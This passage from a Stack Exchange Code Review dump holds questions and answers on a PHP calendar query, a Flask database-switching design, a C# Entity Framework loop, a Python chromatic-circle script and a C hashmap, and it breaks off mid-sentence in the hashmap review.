GMT\";` Then the user will just have a select to choose the year (once working, it should show the whole year)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:41:18.557", "Id": "500155", "Score": "0", "body": "I made some changes according to the comments, but I still have work to do next week: take every divs away; use prepared statements. As I understand, this last is exactly done for what I'm doing to do on the second query (using the workers ID as variable), am I right?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T18:39:13.953", "Id": "500174", "Score": "1", "body": "Oh dear, I now see that you **do** have a query in a loop. That will be slow. I either missed that before, or you have changed it. As for your question: `$worker['id']` comes from the database and could be considered \"safe\". Strictly speaking you wouldn't have to use a prepared statement for that, however, code changes over time, and it best to use basic safe practices. That means: Always use a prepared statement when you include PHP variables in your query. Another advantage is that if you prepare the query once, **before** the loop, it will execute slightly faster inside the loop." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T12:31:57.443", "Id": "500206", "Score": "0", "body": "I see possible issues with your data model but we would need more insight into the table definition (would be nice to see sample data too). Running the **explain** command should give you some clue about performance. What you want is to take advantage of indexes if any, you might need indexes on the workers and/or the dates but by using CAST over your dates you are effectively forcing a table scan that maybe could be avoided. Something like this should work fine in Mysql: `date1 BETWEEN '2020-12-01' AND '2020-12-31'`. And indeed use prepared queries, watch out for SQL injections." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T05:56:18.407", "Id": "500316", "Score": "0", "body": "Hi @KIKO Software, yes, there is a loop in a loop, the first listed all the workers, the second all their activities (was already in the first script I gave, it was just not as readable as the last one as I inserted the second query by reading the table created by the first query, I also saved a lot of running time by doing so). I tried to separate the queries, it works, but it's worse. I'm using now the prepared statement (outside the loop), there is a win but not something extraordinary." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T06:07:29.787", "Id": "500318", "Score": "0", "body": "Hi @Volvox and Anonymous, you can find the result of both queries explained there: [queries.xlsx](http://mybees.ch/for/queries.xlsx). I don't understand how I'll help, but I hope it will." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-29T05:52:01.797", "Id": "510293", "Score": "0", "body": "That output is simply too big. Think how unwieldy it will be if you triple the number of employees! Let's go back to the drawing board. What will the information be used for? Then let's discuss how to better lay it out. _Then_ we can talk about the code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-29T05:52:42.277", "Id": "510294", "Score": "0", "body": "Please provide `SHOW CREATE TABLE`, and explain why two tables are involved." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "13", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T09:38:31.267", "Id": "253455", "Score": "2", "Tags": [ "php", "mysql", "datetime" ], "Title": "Creating calendar - Speeding up PHP script" }
253455
<p>I'd like to build an app in Flask that can switch between talking to a PostGresql and a Mongo DB. As I understand it, the Strategy Pattern is about being able to switch algorithms that are referred to by some method call on the fly. So, I think this pattern would be relevant because I want to switch out what abstract functions like <em>create, read, update, delete</em> do. It sounds to me like strategy would be relevant here, but I'm not quite sure how to implement it. Here's what I'm thinking:</p> <p>I have this file to handle my routes:</p> <pre><code>from flask import Blueprint from .models import Entity api = Blueprint('api', __name__, url_prefix='/api') from .models.EntityWrapper import Entity @api.route('/entities', methods=['POST']) def create_entity(): entity = EntityWrapper(label=&quot;cheese&quot;) entity.save() return jsonify(entity) @api.route('/entities') def get_entities(): entities = Entity.read() return jsonify(entities) </code></pre> <p>The save and read methods should do different things, depending on which database is being used. The class they belong to, <code>EntityWrapper</code>, reads the environment variables and selects which kind of Entity class should be exported:</p> <pre><code>import os from .Entity_mongo import Entity as MongoEntity from .Entity_postgres import Entity as PostgresEntity from dotenv import load_dotenv, find_dotenv load_dotenv(find_dotenv()) DB_TYPE = os.environ.get(&quot;DB_TYPE&quot;) Entity = None if DB_TYPE == 'mongo': Entity = MongoEntity elif DB_TYPE == 'postgres': Entity = PostgresEntity else: raise Exception(&quot;'DB_TYPE' improperly defined in .env&quot;) </code></pre> <p>Here's Entity_posgres.py</p> <pre><code>from .Model_postgres import PostgresModel class Entity(db.Model): __tablename__ = 'entities' id = db.Column(db.Integer, primary_key=True) label = db.Column(db.String(), nullable=False) </code></pre> <p>Since there are a number of methods that should all be handled &quot;the postgres way&quot; for any object, I'm bundling these into a class called PostgresModel. (A mimilar class would be defined for Mongo, doing this &quot;the mongo way&quot;, but for sake of brevity I'll only show postgres).</p> <pre><code># from .ModelABC import ModelABC from ..extensions import postgres_db as db # class PostgresModel(ModelABC, db.Model): class PostgresModel(db.Model): def create(self, instance): # do some postgres create stuff db.session.add(instance) db.session.save() def read(self, cls): # do some postgres read stuff cls.query.all() def update(): # do some postgres update stuff pass def delete(): # do some postgres delete stuff pass </code></pre> <p>I can think of one way the stategy pattern might fit in here: <code>PostgresModel</code> could inherit from some <code>ModelABC</code> class, which would keep track of which strategy is currently being used to create, read, update, or delete. It seems to be this class would look something like the following. To tell the truth, I'm not even sure what advantages it could bring, but here's what it might look like:</p> <pre><code>from abc import ABC, abstractmethod class ModelABC(ABC): def assign_strategy(self, strategy_key): pass def use_strategy(self, strategy, *args, **kwargs): if strategy == 'create': self.create_strategy(*args, **kwargs) elif strategy == 'read': self.read_strategy(*args, **kwargs) elif strategy == 'update': self.update_strategy(*args, **kwargs) elif strategy == 'delete': self.delete_strategy(*args, **kwargs) else: raise Exception('strategy name invalid') @abstractmethod def create_strategy(self): pass @abstractmethod def read_strategy(self): pass @abstractmethod def update_strategy(self): pass @abstractmethod def delete_strategy(self): pass </code></pre> <p>Am I on the right track with this strategy pattern, or is this not the right use case?</p>
[]
[ { "body": "<p>Typically you'd have two classes that implement the four methods <code>create, read, update</code> and <code>delete</code>, one for Mongo and one for PostGres. Create a factory method that determines what kind of DB you are talking to, and returns an instance of the appropriate class.</p>\n<p>The rest of your code can interact with the class using the methods. It doesn't need to know what kind of DB you are using.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T23:12:37.777", "Id": "253474", "ParentId": "253460", "Score": "3" } }, { "body": "<p><strong>The short answer is:</strong> You don't need the strategy pattern here. just do as nullTermiator said in his answer.</p>\n<p>To understand why strategy does not fit here, first we need to understand the problem strategy supposed to solve, or formally, <em>the intention of the strategy pattern</em>.</p>\n<p>In statically typed languages such as Java, C#, Kotlin, etc. you can't simply use two different classes interchangeably unless they share a common parent (Polymorphism)</p>\n<p>In your case you would have a <code>MongoEntity</code> and a <code>PostgresEntity</code>, and you want your code to consume one of them without hard coding it (a.k. your code should not know which one it is consuming). To achieve this, two restrictions should be applied to those classes</p>\n<ol>\n<li>All classes must have the same methods' signatures.</li>\n<li>All classes must share a common parent (commonly an interface) which works as an abstraction for the intended operation. and your code should depend on this abstraction not a specific implementation of it.</li>\n</ol>\n<p>In strategy you define an instance of this abstraction in your code, initialize it with the default implementation, and define a setter method to change the default implementation with the desired one.</p>\n<p><strong>That is simply the strategy pattern as defined in GoF book.</strong></p>\n<p>An enhancement usually made to this pattern utilizing what is called <em>Constructor Dependency Injection</em>. Instead of defining the abstraction in your code and use a setter method to change it, you pass it as an argument to the constructor of the consuming class. which you intuitively tried to do in your code, the pythonic way :)</p>\n<p>Now back to your code.</p>\n<ul>\n<li>First: Python is not statically typed. so the second restriction does\nnot apply. it may be recommended as a conventional way to increase\nthe code readability and organisation, but not mandatory.</li>\n<li>Second: Your code consumes different classes, each of them is not\njust an algorithm, they have different states and multiple\nfunctionalities. Which is the intention of another family of design\npatterns (Creational) you can read about <em>Factory</em>, <em>Factory Method</em> and\n<em>builder</em> patterns.</li>\n<li>Third: you need to inject the right Model Class based on configuration. This is the definition of DI (Dependency Injection) and that is all you need. Moreover, in python you can just define a global variable and initialize it with the right instance based on the configuration as you've already done in the Entity variable.</li>\n</ul>\n<p>Conclusion:</p>\n<p>Your code only needs the following:</p>\n<ul>\n<li>Define a class for each DB Provider</li>\n<li>Classes should have identical methods' signatures (You may use inheritance as a conventional way to say this is the contract of all those classes)</li>\n<li>Use environment to initialize Entity with the right instance and import and use it in your code.</li>\n<li>Finally the repeated but valuable advice. Don't use design patterns for the sake of using them. We all fall in this many times. so try your best :)</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-02-07T05:34:52.263", "Id": "255709", "ParentId": "253460", "Score": "3" } } ]
{ "AcceptedAnswerId": "255709", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T14:17:31.973", "Id": "253460", "Score": "0", "Tags": [ "python", "object-oriented", "design-patterns", "flask", "strategy-pattern" ], "Title": "on using the strategy pattern to switch between database layers" }
253460
<p>I have the following method that I am trying to optimize. Currently, the method works great, however, it takes a little over 3 hours to complete. I feel like, using some nifty LINQ joins, it should be able to run in minutes. Here is the method:</p> <pre><code> public async Task UpdateEmailTable(IEnumerable&lt;StudentEmail&gt; students) { Console.WriteLine(&quot;Updating Email table&quot;); var studentEmails = students.ToList(); int totalStudents = studentEmails.Count; int currentCount = 0; float lastPercentage = -1; foreach (var student in studentEmails) { var isIn = await _context.BarcDemoGraphicEmail.AnyAsync(z =&gt; z.Sridentifier == student.StudentId); if (!isIn) { var ar = await _context.Barcaccount.FirstOrDefaultAsync(z =&gt; z.SrIdentifier == student.StudentId); await _context.BarcDemoGraphicEmail.AddAsync(new BarcDemoGraphicEmail { Sridentifier = student.StudentId, Email = student.EmailAddress, Updatedate = DateTime.Now, Aridentifier = ar == null ? &quot;&quot; : ar.ArIdentifier }); } else { var rec = await _context.BarcDemoGraphicEmail.Where(z =&gt; z.Sridentifier == student.StudentId) .FirstAsync(); rec.Email = student.EmailAddress; rec.Updatedate = DateTime.Now; } await _context.SaveChangesAsync(); int percentage = (int)Math.Round((float)currentCount / totalStudents * 100); if (lastPercentage != percentage) Console.Write(&quot;\r&quot; + percentage + &quot;%&quot;); lastPercentage = percentage; currentCount++; } } </code></pre> <p>So this method is called with a list of student ids and emails. This list does not come from the database. This list comes from a web call and must be passed into the method. It then iterates through the list, one at a time. It takes the student's id and checks to see if it exists in the <code>BarcDemoGraphicEmail</code> table, there by setting the <code>isIn</code> flag.</p> <p>If the student ID is NOT in the <code>BarcDemoGraphicEmail</code> table, it pulls the account information from another table called <code>BarcAccount</code>. It then inserts this student's email into the <code>BarcDemoGraphicEmail</code> using the information from the <code>BarcAccount</code> table and the email from the <code>students</code> current iteration.</p> <p>If the student ID IS in the <code>BarcDemoGraphicEmail</code> table, it simply pulls that record and updates the <code>UpdateDate</code> field and the <code>Email</code> field from the current iteration.</p> <p>As I said earlier, this method currently works fine, however it takes way too long. How can I optimize my code (or possibly optimize the database) so this executes faster?</p> <p>This is a console .NET Core 3.1 C# application using Entity Framework Core 3.1. The database is a SQL Server database.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T19:51:34.913", "Id": "499835", "Score": "1", "body": "I'm guessing it's slow because it is one.at.a.time. Take a look at the `System.Data.SqlClient` namespace. You can handle your data as if it were in tables. But there is no C# code that will be faster than the DB itself. We had a 4+ hour process rewritten. As stored procedure it took about 12 seconds to complete." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T04:51:54.860", "Id": "499855", "Score": "0", "body": "Your problem cannot be solved on a pure Entity Framework Core. You either need to use some other ORM, like [LINQ to DB](https://linq2db.github.io/), or extensions to EF, such as [linq2db.EntityFrameworkCore](https://github.com/linq2db/linq2db.EntityFrameworkCore). But this is beyond the scope of Code Review. I think you should ask a question on the main stackoverflow site." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T17:44:37.850", "Id": "500171", "Score": "3", "body": "To be able to answer this well it's necessary to see the classes, `StudentEmail`, `BarcDemoGraphicEmail`, `Barcaccount`. Also, how many items will `students` contain, typically? There seems to be much room for improvement but that's hard to tell now." } ]
[ { "body": "<p>You query the same <code>BarcDemoGraphicEmail</code> table twice in the same loop iteration.</p>\n<p>You can improve the query as follows</p>\n<pre><code>var rec = await _context.BarcDemoGraphicEmail\n .FirstOrDefaultAsync(z =&gt; z.Sridentifier == student.StudentId);\n\nif (rec == null)\n{\n var ar = ...\n ...\n}\nelse\n{\n rec.Email = student.EmailAddress;\n rec.Updatedate = DateTime.Now;\n}\n</code></pre>\n<hr />\n<p>Also you should add <code>.ConfigureAwait(false)</code> to all asynchronous methods.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T04:25:37.030", "Id": "253487", "ParentId": "253464", "Score": "0" } }, { "body": "<p>Some quick remarks:</p>\n<ul>\n<li><p><code>DemoGraphic</code> isn't a compound word so there shouldn't be a capital letter in the middle. However, <code>Barcaccount</code> is so it should be called <code>BarcAccount</code>. Same for <code>Sridentifier</code>, <code>Updatedate</code>, <code>Aridentifier</code>.</p>\n</li>\n<li><p>Use meaningful variable names. I have no idea what <code>ar</code> is, or <code>sr</code>.</p>\n</li>\n<li><p><code>UpdateEmailTable(IEnumerable&lt;StudentEmail&gt; students)</code> and then <code>var studentEmails = students.ToList();</code> Use properly named and typed parameters. Your method requires a <code>List&lt;StudentEmail&gt; studentEmails</code> (or perhaps <code>ICollection&lt;StudentEmail&gt; studentEmails</code>), write it like that and make the calling code to pass the correct argument.</p>\n</li>\n<li><p>This method is peppered with <code>Console.WriteLine</code>. This means it mixes business logic and UI. Bad idea. At least change this to use a logging system, and then configure that so it outputs to the command line.</p>\n</li>\n</ul>\n<hr />\n<p>You say this takes three hours, which suggests either a massive volume of data or particularly slow code (or perhaps your tables are not correctly indexed?). Perhaps implementing logic that uses SqlBulkInsert could solve the performance issue. Perhaps take the incoming data and store it in a table, and then apply one or two SQL queries to update the data in BarcDemoGraphicEmail.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T08:30:56.593", "Id": "253495", "ParentId": "253464", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T15:49:11.177", "Id": "253464", "Score": "1", "Tags": [ "c#", "linq", "sql-server", "entity-framework-core" ], "Title": "Optimizing database access using LINQ" }
253464
<p>Hello I'm doing a mini project that is modeled after pitch constellation. --&gt; <a href="https://en.wikipedia.org/wiki/Chromatic_circle" rel="nofollow noreferrer">https://en.wikipedia.org/wiki/Chromatic_circle</a> Basically, pitch constellation is modeled after a clock where each note is assigned a number. When the wheel goes clockwise it goes up the scale, and when it goes counterclockwise it goes down. I thought this might be a great idea for a midi project. (My project only goes up the scale.)</p> <p>Here's how it works:</p> <ol> <li><p>It prompts for an input of a music note and then shifts the elements so that the list will start with the root key. Then it will return the notes starting with the root note or the note selected.</p> </li> <li><p>Then it prompts to enter what mode to return the music note values. The way this done is by assigning the elements in the returned notes to the value selected in the dict variable scale. Which will then select the index number of the items and create a new list.</p> </li> <li><p>Lastly, it returns the scale with the key and mode.</p> </li> </ol> <p>That's all it does so far. Eventually, I'd like to combine it with a midi module I found in pythons open library and then have it send midi out. I want to get honest feedback on what areas can be improved in my program before I go any further.</p> <pre><code> notes = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#','B'] scale = {'major':[0, 2, 4, 5, 7, 9, 11], 'minor':[0, 2, 3, 5, 7, 8, 10], 'phrygian':[0, 1, 3, 5, 7, 8, 10], 'lydian':[0, 2, 4, 6, 7, 9, 11], 'mixolydian':[0, 2, 4, 5, 7, 9, 10], 'aeolian':[0, 2, 3, 5, 7, 8, 10], 'locrian':[0, 1, 3, 5, 6, 8, 10], 'chromatic':[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], 'wholetone':[0, 2, 4, 6, 8, 10], 'diminished7thchord': [0, 3, 6, 9], 'augmentedchord':[0, 4, 8], 'tritone':[0, 6]} rootkey = input(&quot;Enter the root Note: &quot;).upper() class CircleFifths: &quot;&quot;&quot;docstring for CircleFifths.&quot;&quot;&quot; def __init__(self, key): self.rootkey = rootkey def shift(self, rootkey, index=0, s=0,): #shifts the leading item (rootkey) entered by the user down the list #removes the last term and puts it as the first term while index &lt; 12 and s &lt;12: s += 1 index += 1 new_notes = notes[-s:] + notes[:-s] if rootkey == new_notes[0]: print(new_notes) return new_notes def main(): a = CircleFifths(rootkey) key = a.shift(rootkey) keymode = [] print('Select a scale and enter it below') for k in scale: print(k) mode = input(&quot;Enter the mode: &quot;).lower() try: x = scale.get(mode) keymode = [key[i] for i in x] print(keymode) except: if mode not in scale: print(&quot;Scale not in list. Please start the program again.&quot;) return main() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T07:20:22.813", "Id": "499860", "Score": "0", "body": "why did you import random?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T17:02:25.310", "Id": "499900", "Score": "0", "body": "My apologies. I forgot to take that out." } ]
[ { "body": "<h2>Immutable sequences</h2>\n<p>Convert <code>notes</code> and the values in <code>scale</code> from list literals <code>[]</code> to tuple literals <code>()</code> since it's expected that they cannot and will not change.</p>\n<h2>Musical theory</h2>\n<p>Consider distinguishing between harmonic and melodic minor, which are different scales.</p>\n<h2>Global code</h2>\n<p>Move</p>\n<pre><code>rootkey = input(&quot;Enter the root Note: &quot;).upper()\n</code></pre>\n<p>into your <code>main()</code>. Also, your constructor</p>\n<pre><code>def __init__(self, key):\n self.rootkey = rootkey\n</code></pre>\n<p>needs to refer to its <code>key</code> argument and not the <code>rootkey</code> global.</p>\n<h2>Shadowing</h2>\n<pre><code>def shift(self, rootkey, index=0, s=0,):\n</code></pre>\n<p>has a number of issues:</p>\n<ul>\n<li>You're shadowing the global <code>rootkey</code> with an identically-named argument</li>\n<li>You shouldn't have a <code>rootkey</code> argument at all, since it's already a member on <code>self</code></li>\n</ul>\n<h2>Loop like a native</h2>\n<p>Consider renaming <code>index</code> and <code>s</code> to <code>first_index</code> and <code>first_s</code>, so that you can replace your <code>while</code> with</p>\n<pre><code>for index, s in zip(\n range(first_index, 12),\n range(first_s, 12)\n):\n</code></pre>\n<h2>Inner prints</h2>\n<p>Delete the <code>print</code> from here:</p>\n<pre><code> print(new_notes)\n return new_notes\n</code></pre>\n<p>If you want to print it, do so at the outer level.</p>\n<h2>Logic by exception</h2>\n<p>Consider writing</p>\n<pre><code>mode = input(&quot;Enter the mode: &quot;).lower()\ntry:\n x = scale.get(mode)\n keymode = [key[i] for i in x]\n print(keymode)\nexcept:\n if mode not in scale:\n print(&quot;Scale not in list. Please start the program again.&quot;)\n return\n</code></pre>\n<p>as</p>\n<pre><code>mode_name = input(&quot;Enter the mode: &quot;).lower()\nmode = scale.get(mode_name)\nif mode is None:\n print(f&quot;Scale {mode_name} not in list. Please start the program again.&quot;)\nelse:\n key_mode = [key[i] for i in mode]\n print(key_mode)\n</code></pre>\n<p>In other words, where possible do not rely on exceptions (especially with no type specified) to govern your logic; and avoid a double-dictionary lookup by using <code>get</code>.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T17:55:11.963", "Id": "253511", "ParentId": "253467", "Score": "2" } } ]
{ "AcceptedAnswerId": "253511", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T18:24:17.547", "Id": "253467", "Score": "3", "Tags": [ "python" ], "Title": "Feedback on Pitch Constellation/ Chromatic Circle in Python Project" }
253467
<p>I've been working on a simple hashmap in C. Here is <code>hashmap.h</code>:</p> <pre class="lang-c prettyprint-override"><code>#ifndef __HASHMAP_H__ #define __HASHMAP_H__ #include &lt;stdlib.h&gt; #include &lt;stdbool.h&gt; typedef size_t (*HashFunction)(void*); typedef bool (*CompareFunction)(void*, void*); struct Pair { size_t hash_id; void* key; void* value; struct Pair* next; }; struct HashMap { struct Pair** buckets; size_t num_buckets; HashFunction hfunc; CompareFunction cfunc; }; struct HashMap* new_hashmap(HashFunction, CompareFunction); struct HashMap* new_hashmap_c(HashFunction, CompareFunction, size_t); void free_hashmap(struct HashMap*); void insert_hashmap(struct HashMap*, void*, void*); void* get_hashmap(struct HashMap*, void*); void remove_hashmap(struct HashMap*, void*); #endif // __HASHMAP_H__ </code></pre> <p>And here is <code>hashmap.c</code>:</p> <pre class="lang-c prettyprint-override"><code>#include &lt;assert.h&gt; #include &quot;hashmap.h&quot; #define DEFAULT_BUCKETS 750000 struct HashMap* new_hashmap(HashFunction hfunc, CompareFunction cfunc) { return new_hashmap_c(hfunc, cfunc, DEFAULT_BUCKETS); } struct HashMap* new_hashmap_c(HashFunction hfunc, CompareFunction cfunc, size_t buckets) { struct HashMap* hmap; hmap = malloc(sizeof(*hmap)); assert(hmap); hmap-&gt;buckets = malloc(buckets * sizeof(*hmap-&gt;buckets)); hmap-&gt;num_buckets = buckets; hmap-&gt;hfunc = hfunc; hmap-&gt;cfunc = cfunc; assert(hmap-&gt;buckets); for (size_t i = 0; i &lt; buckets; ++i) { hmap-&gt;buckets[i] = NULL; } return hmap; } void free_hashmap(struct HashMap* hmap) { free(hmap-&gt;buckets); free(hmap); hmap = NULL; } void insert_hashmap(struct HashMap* hmap, void* key, void* value) { size_t hashed_key = hmap-&gt;hfunc(key); struct Pair* prev = NULL; struct Pair* entry = hmap-&gt;buckets[hashed_key]; while (entry != NULL) { if (hmap-&gt;cfunc(entry-&gt;key, key)) { prev = entry; break; } entry = entry-&gt;next; } if (entry == NULL) { entry = malloc(sizeof(struct Pair)); entry-&gt;hash_id = hashed_key; entry-&gt;key = key; entry-&gt;value = value; entry-&gt;next = NULL; if (prev == NULL) { hmap-&gt;buckets[hashed_key] = entry; } else { prev-&gt;next = entry; } } else { entry-&gt;value = value; } } void* get_hashmap(struct HashMap* hmap, void* key) { size_t hashed_key = hmap-&gt;hfunc(key); struct Pair* entry = hmap-&gt;buckets[hashed_key]; while (entry != NULL) { if (hmap-&gt;cfunc(entry-&gt;key, key)) return entry-&gt;value; entry = entry-&gt;next; } return NULL; } void remove_hashmap(struct HashMap* hmap, void* key) { size_t hashed_key = hmap-&gt;hfunc(key); struct Pair* prev = NULL; struct Pair* entry = hmap-&gt;buckets[hashed_key]; while (entry != NULL) { if (hmap-&gt;cfunc(entry-&gt;key, key)) { prev = entry; break; } entry = entry-&gt;next; } if (entry == NULL) return; if (prev == NULL) { hmap-&gt;buckets[hashed_key] = entry-&gt;next; } else { prev-&gt;next = entry-&gt;next; } free(entry); hmap-&gt;buckets[hashed_key] = NULL; } </code></pre> <p>And here is my test code:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &quot;hashmap.h&quot; size_t hash(void* key) { size_t hash = 0; for (size_t i = 0; i &lt; strlen(key); i++) { hash = 31 * hash + *((char*) (key + i)); } return hash; } bool compare(void* key1, void* key2) { return *((int*) key1) == *((int*)key2); } int main() { struct HashMap* my_hmap = new_hashmap(hash, compare); int k = 10; int v = 101; int v2 = 102; insert_hashmap(my_hmap, &amp;k, &amp;v); printf(&quot;initial value: %d\n&quot;, *((int*)get_hashmap(my_hmap, &amp;k))); insert_hashmap(my_hmap, &amp;k, &amp;v2); printf(&quot;value after changing: %d\n&quot;, *((int*)get_hashmap(my_hmap, &amp;k))); remove_hashmap(my_hmap, &amp;k); printf(&quot;pointer to deleted value: %p\n&quot;, get_hashmap(my_hmap, &amp;k)); free_hashmap(my_hmap); printf(&quot;done!&quot;); } </code></pre> <p>Any tips on performance, coding style, etc. would be nice. Thanks!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:12:34.397", "Id": "499845", "Score": "0", "body": "That's an awful lot of default buckets. There are numerous bugs, too. Try your code with a hash function that returns a constant (i.e., every insert results in a hash collision). Then try another where that constant is, say, 1000000 (some number greater than `DEFAULT_BUCKETS`). In your test code, why is a map that stores integers using a string based hash computation?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:19:53.687", "Id": "499846", "Score": "0", "body": "@1201ProgramAlarm -- I seem to have gotten the incorrect hash function. Also, I did expect there to be bugs in the code; It's the first time I have ever written a hashmap and I haven't written C code in a while." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T18:17:13.410", "Id": "499987", "Score": "0", "body": "I would change the number of buckets to: `749993` closest prime to `750000` this will help you avoid collisions." } ]
[ { "body": "<p>Urgs, the first impression is already bad:</p>\n<pre class=\"lang-c prettyprint-override\"><code>#ifndef __HASHMAP_H__\n</code></pre>\n<p>Every identifier that starts with a double underscore is reserved for the implementation of the C compilation environment (compiler + operating system). Since you are not working on the implementation but are rather an application developer, you must not define these identifiers. Instead, use the commonly accepted pattern of <code>PROJECT_FILE_H</code>, with <code>PROJECT</code> and <code>FILE</code> being placeholders.</p>\n<pre class=\"lang-c prettyprint-override\"><code>#include &lt;stdlib.h&gt;\n#include &lt;stdbool.h&gt;\n</code></pre>\n<p>It is common to sort the headers alphabetically, at least those from the C standard library. Both <code>stdlib.h</code> and <code>stdbool.h</code> come from the standard library.</p>\n<pre class=\"lang-c prettyprint-override\"><code>typedef size_t (*HashFunction)(void*);\ntypedef bool (*CompareFunction)(void*, void*);\n</code></pre>\n<p>These typedefs are almost reasonable. Since these functions are not supposed to modify their arguments, you should replace <code>void *</code> with <code>const void *</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code>struct Pair {\n size_t hash_id;\n void* key;\n void* value;\n struct Pair* next;\n};\n</code></pre>\n<p>The name <code>Pair</code> is wrong for this struct, it should rather be called <code>HashMapEntry</code>. A pair typically has 2 fields, not 4, and these fields are called <code>first</code> and <code>second</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code>struct HashMap {\n struct Pair** buckets;\n size_t num_buckets;\n HashFunction hfunc;\n CompareFunction cfunc;\n};\n</code></pre>\n<p>To quickly see if the map is empty (if you need it), you could add a <code>size_t size</code> field.</p>\n<pre class=\"lang-c prettyprint-override\"><code>struct HashMap* new_hashmap(HashFunction, CompareFunction);\nstruct HashMap* new_hashmap_c(HashFunction, CompareFunction, size_t);\n</code></pre>\n<p>All these function declarations look good. To get rid of the <code>struct</code> keyword, you should <code>typedef struct HashMap HashMap;</code>.</p>\n<p>Next, the implementation.</p>\n<pre class=\"lang-c prettyprint-override\"><code>#include &lt;assert.h&gt;\n#include &quot;hashmap.h&quot;\n</code></pre>\n<p>Looks great. Putting assertions all over the code is good style. That is much better than comments of the kind &quot;I expect that this variable is never NULL&quot;.</p>\n<pre class=\"lang-c prettyprint-override\"><code>#define DEFAULT_BUCKETS 750000\n</code></pre>\n<p>Whoa, that's a high number. Other HashMap implementations typically use a default bucket count of 16.</p>\n<pre class=\"lang-c prettyprint-override\"><code>struct HashMap* new_hashmap_c(HashFunction hfunc, CompareFunction cfunc, size_t buckets) {\n struct HashMap* hmap;\n hmap = malloc(sizeof(*hmap));\n assert(hmap);\n</code></pre>\n<p>This assertion is dangerous since it goes away when you compile the code with the preprocessor flag <code>-DNDEBUG</code>. You must either ensure that your code is always compiled with assertions enabled, or <code>if (hmap == NULL) enomem()</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code> hmap-&gt;buckets = malloc(buckets * sizeof(*hmap-&gt;buckets));\n</code></pre>\n<p>This multiplication might overflow if the number of buckets is really high. This will probably not happen though. If your HashMap has to cope with untrusted input, you risk a buffer overflow and a security vulnerable, allowing every attacker to run arbitrary code on your computer.</p>\n<p>The rest of <code>new_hashmap_c</code> looks fine, except for the <code>assert</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code>void free_hashmap(struct HashMap* hmap) {\n free(hmap-&gt;buckets);\n free(hmap);\n hmap = NULL;\n}\n</code></pre>\n<p>There is no point in setting <code>hmap = NULL</code> at the end. This will only influence the local variable <code>hmap</code> inside the function <code>free_hashmap</code>. If the calling function has a variable, that variable will not be influenced at all and still point to the freed memory. That's ok because the caller is not supposed to do anything with that variable anymore.</p>\n<pre class=\"lang-c prettyprint-override\"><code>void insert_hashmap(struct HashMap* hmap, void* key, void* value) {\n size_t hashed_key = hmap-&gt;hfunc(key);\n struct Pair* prev = NULL;\n struct Pair* entry = hmap-&gt;buckets[hashed_key];\n</code></pre>\n<p>That's bad design. Your <code>HashFunction</code> is supposed to return a number in the range <code>[0, hmap-&gt;num_buckets)</code>, but the field <code>num_buckets</code> should not be accessed by any code outside your own implementation. Therefore the <code>insert_hashmap</code> should ensure for itself that the return value of the hash function is in the correct range, using this simple one-line change:</p>\n<pre class=\"lang-c prettyprint-override\"><code> struct Pair* entry = hmap-&gt;buckets[hashed_key % hmap-&gt;num_buckets];\n</code></pre>\n<p>The rest of <code>insert_hashmap</code> looks fine, except for the missing null check after <code>malloc</code>, as explained above.</p>\n<p>The function <code>get_hashmap</code> looks perfect.</p>\n<p>The function <code>remove_hashmap</code> looks perfect.</p>\n<p>Next and last: the test code.</p>\n<pre class=\"lang-c prettyprint-override\"><code>size_t hash(void* key) {\n ...\n hash = 31 * hash + *((char*) (key + i));\n</code></pre>\n<p>I wonder how you got the compiler to accept this broken code. <code>key</code> is a void pointer, and one cannot do arithmetic using void pointers. The usual way to deal with this is to convert the void pointer into a string pointer first:</p>\n<pre class=\"lang-c prettyprint-override\"><code> for (size_t i = 0; i &lt; strlen(key); i++) {\n</code></pre>\n<p>Calling <code>strlen</code> in a loop is expensive. This is because in C, the function <code>strlen</code> is very inefficient. It needs to look at every character of a string until it finds the <code>'\\0'</code> that terminates the string. If you have a string with 1_000_000 characters, this will take 500_000_000_000 memory accesses, which is really slow. The usual pattern in C is to start with a pointer to the beginning of the string and to advance this pointer until it 